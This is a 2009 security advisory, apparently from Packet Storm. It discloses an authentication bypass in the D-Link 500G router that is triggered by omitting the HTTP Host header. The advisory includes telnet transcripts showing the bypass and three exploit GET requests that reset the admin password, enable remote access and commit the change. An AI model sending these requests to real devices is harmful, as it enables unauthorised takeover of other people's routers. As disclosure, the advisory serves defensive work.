D-Link 500G Authentication Bypass

🗓️ 24 Aug 2009 00:00:00Reported by Jardel WeyrichType

packetstorm🔗 packetstormsecurity.com👁 25 Views

D-Link 500G Authentication Bypass vulnerability allows full control over the device through local network acces

`D-LINK 500G AUTHENTICATION BYPASS  
  
SUMMARY  
There is an authentication bypass vulnerability in D-Link 500G that allows  
an attacker to take full control over the device.  
Remote access is disabled by default, so the attacker is required to be on  
the local network.  
The bypass can be triggered sending a HTTP request without the HOST header.  
  
$ telnet 192.168.0.1 80  
Trying 192.168.0.1...  
Connected to 192.168.0.1.  
Escape character is '^]'.  
GET / HTTP/1.1  
Host: 192.168.0.1  
Connection: close  
  
HTTP/1.1 401 Unauthorized  
WWW-Authenticate: Basic Realm="DSL-500G"  
Content-type: text/html  
Content-length: 111  
  
<html><head><title>401 Unauthorized Access</title></head><body><h1>401  
Unauthorized Access</h1></body></html>  
Connection closed by foreign host.  
  
$ telnet 192.168.0.1 80  
Trying 192.168.0.1...  
Connected to 192.168.0.1.  
Escape character is '^]'.  
GET / HTTP/1.1  
Connection: close  
  
HTTP/1.1 302 Document Follows  
Location: /hag/pages/home.ssi  
  
Connection closed by foreign host.  
  
AFFECTED PRODUCTS  
Confirmed in D-Link 500G Firmware R2.01.B9.EU(030917a/T93.3.44).  
Haven't tested in other devices and version.  
  
SOLUTION  
The manufacturer has not been contacted. Don't complain on me.  
  
EXPLOIT  
1. Reset the admin password: GET  
/Action?cmdSubmit=Submit&ex_param1=admin&id=3&new_pass1=admin&new_pass2=admin&old_pass=admin&user=admin  
HTTP/1.0  
2. Enable remote access: GET /Action?cmdSubmit=Submit&remote=0&id=83  
HTTP/1.0  
3. Commit changes: GET /Action?cmdCommit=Commit&reboot_loc=0&id=4 HTTP/1.0  
  
CREDITS  
Discovered by Jardel Weyrich <jweyrich at gmail dot com>.  
`

24 Aug 2009 00:00Current

0.2Low risk

Vulners AI Score0.2